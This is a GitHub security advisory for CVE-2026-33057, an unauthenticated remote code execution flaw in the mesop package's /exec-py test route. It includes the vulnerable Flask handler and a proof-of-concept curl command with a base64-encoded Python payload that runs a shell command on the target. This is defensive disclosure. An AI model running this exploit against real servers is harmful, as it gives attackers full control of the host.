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Mesop Affected by Unauthenticated Remote Code Execution via Test Suite Route /exec-py

Critical severity GitHub Reviewed Published Mar 17, 2026 in mesop-dev/mesop • Updated Mar 18, 2026

Package

pip mesop (pip)

Affected versions

<= 1.2.2

Patched versions

1.2.3

Description

Summary

An explicit web endpoint inside the ai/ testing module infrastructure directly ingests untrusted Python code strings unconditionally without authentication measures, yielding standard Unrestricted Remote Code Execution. Any individual capable of routing HTTP logic to this server block will gain explicit host-machine command rights.

Details

The AI codebase package includes a lightweight debugging Flask server inside ai/sandbox/wsgi_app.py. The /exec-py route accepts base_64 encoded raw string payloads inside the code parameter natively evaluated by a basic POST web request. It saves it rapidly to the operating system logic path and injects it recursively using execute_module(module_path...).

# ai/sandbox/wsgi_app.py
@flask_app.route("/exec-py", methods=["POST"])
def exec_py_route():
  code = base64.urlsafe_b64decode(request.form.get("code"))
  # ... code is blindly written to file and forcefully executed

PoC

# Payload:
# import os
# os.system('echo "pwned by attacker" > /tmp/pwned.txt')
# 
# Base64 string represents the identical payload block above: 
# aW1wb3J0IG9zCm9zLnN5c3RlbSgnZWNobyAicHduZWQgYnkgYXR0YWNrZXIiID4gL3RtcC9wd25lZC50eHQnKQ==

curl -X POST http://<target_ip_address_hosting_sandbox>:port/exec-py \
  -H "Content-Type: application/x-www-form-urlencoded" \
  -d "code=aW1wb3J0IG9zCm9zLnN5c3RlbSgnZWNobyAicHduZWQgYnkgYXR0YWNrZXIiID4gL3RtcC9wd25lZC50eHQnKQ=="

# Validate exploitation target execution natively:
# $ cat /tmp/pwned.txt
# pwned by attacker

Impact

This presents trivial severity for systems publicly exposed or lacking strictly verified boundary firewalls due to absolute unauthenticated command injection privileges targeting the direct execution interpreter running this service sandbox.

References

@richard-to richard-to published to mesop-dev/mesop Mar 17, 2026
Published to the GitHub Advisory Database Mar 18, 2026
Reviewed Mar 18, 2026
Last updated Mar 18, 2026

Severity

Critical

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Network
Attack complexity
Low
Privileges required
None
User interaction
None
Scope
Unchanged
Confidentiality
High
Integrity
High
Availability
High

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

EPSS score

Weaknesses

Improper Control of Generation of Code ('Code Injection')

The product constructs all or part of a code segment using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the syntax or behavior of the intended code segment. Learn more on MITRE.

CVE ID

CVE-2026-33057

GHSA ID

GHSA-gjgx-rvqr-6w6v

Source code

Credits

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